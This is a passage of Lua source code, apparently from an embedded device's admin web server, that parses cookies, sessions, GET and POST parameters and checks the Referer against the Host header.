print(k.."=>function,") elseif(type(v) == "thread") then print(k.."=>thread,") elseif(type(v) == "userdata") then print(k.."=>userdata,") elseif(type(v) == "nil") then print(k.."=>nil,") elseif(type(v) == "table") then print(k.."=>table,") else print(k.."=>object,") end end else print("object") end print("}") end function init_get() local MatchedReferer = true if _SESSION_ID ~= nil then local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)") if Referer ~= nil and Referer ~= "" then local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)") if Host ~= nil and Host ~= "" then if string.sub(Referer,8,string.len(Host)+7) == Host or string.sub(Referer,9,string.len(Host)+8) == Host then MatchedReferer = true else MatchedReferer = false exit() end end else MatchedReferer = false end end string.gsub (urlparam, "([^&=]+)=([^&=]*)&?", function (key, val) if key == "domain" then if MatchedReferer == true then rawset(_GET,key,val) else rawset(_GET,key,specialhtml_encode(val)) end else if MatchedReferer == true then rawset(_GET,unescape(key),unescape(val)) else --rawset(_GET,unescape(key),specialhtml_encode(unescape(val))) end end end ) end function init_post() local MatchedReferer = true if _SESSION_ID ~= nil then local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)") if Referer ~= nil and Referer ~= "" then local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)") if Host ~= nil and Host ~= "" then if string.sub(Referer,8,string.len(Host)+7) == Host or string.sub(Referer,9,string.len(Host)+8) == Host then MatchedReferer = true else MatchedReferer = false exit() end end else MatchedReferer = false end end if string.find(strHead,"[cC]ontent%-[tT]ype:%s?multipart/form%-data;%s?boundary=") then string.gsub (strContent, "[cC]ontent%-[dD]isposition:%s?form%-data;%s?name=\"([^\"\r\n]*)\"\r\n\r\n([^\r\n]*)\r\n", function (key, val) if key == "domain" then if MatchedReferer == true then rawset(_POST,key,val) else rawset(_POST,key,specialhtml_encode(val)) end else if MatchedReferer == true then rawset(_POST,unescape(key),unescape(val)) else --rawset(_POST,unescape(key),specialhtml_encode(unescape(val))) end end end ) else string.gsub (strContent, "([^&=\r\n]+)=([^&=\r\n]*)&?", function (key, val) if key == "domain" then if MatchedReferer == true then rawset(_POST,key,val) else rawset(_POST,key,specialhtml_encode(val)) end else if MatchedReferer == true then rawset(_POST,unescape(key),unescape(val)) else --rawset(_POST,unescape(key),specialhtml_encode(unescape(val))) end end end ) end end function init_session() if _COOKIE["UIDADMIN"] ~= nil then _SESSION_ID = _COOKIE["UIDADMIN"] SessionModule.load(_SESSION_ID) end end function init_cookie() local cookiestr = string.match(strHead,"[cC]ookie:%s?(%s[^\r\n]*)") if cookiestr == nil or cookiestr == "" then return end string.gsub (cookiestr, "([^%s;=]+)=([^;=]*)[;%s]?", function (key, val) rawset(_COOKIE,unescape(key),unescape(val)) end ) end function setcookie(name,value,expire_secs) if name == "UIDADMIN" then return end local expiretime = os.date("!%A, %d-%b-%Y %H:%M:%S GMT", os.time()+3600*24*365) _SETCOOKIE = _SETCOOKIE.."Set-Cookie: "..name.."="..value.."; expires="..expiretime.."\r\n" rawset(_COOKIE,name,value) end function getcookie(name) if name == "UIDADMIN" then return end return _COOKIE[name] end function deletecookie(name) setcookie(name,"",-10000000) end function deleteallcookies() for name,_ in pairs(_COOKIE) do deletecookie(name) end end local cookie_metatable = { __newindex = function(t,k,v) setcookie(k,v,360000) end } setmetatable(_COOKIE,cookie_metatable) session_metatable = { __newindex = function(t,k,v) if type(v) ~= "table" then if k ~= nil then k = string.gsub(k,"'","") k = string.gsub(k,"\"","") end if v ~= nil then --v = string.gsub(v,"%[","") --v = string.gsub(v,"%]","") end rawset(_SESSION,k,v) SessionModule.save(_SESSION_ID) end end } --setmetatable(_SESSION,session_metatable) function init_all() init_cookie() init_session() init_get() init_post() end function setContentType(typestr) _CONTENTTYPE = typestr end function exit() error("exit function!") end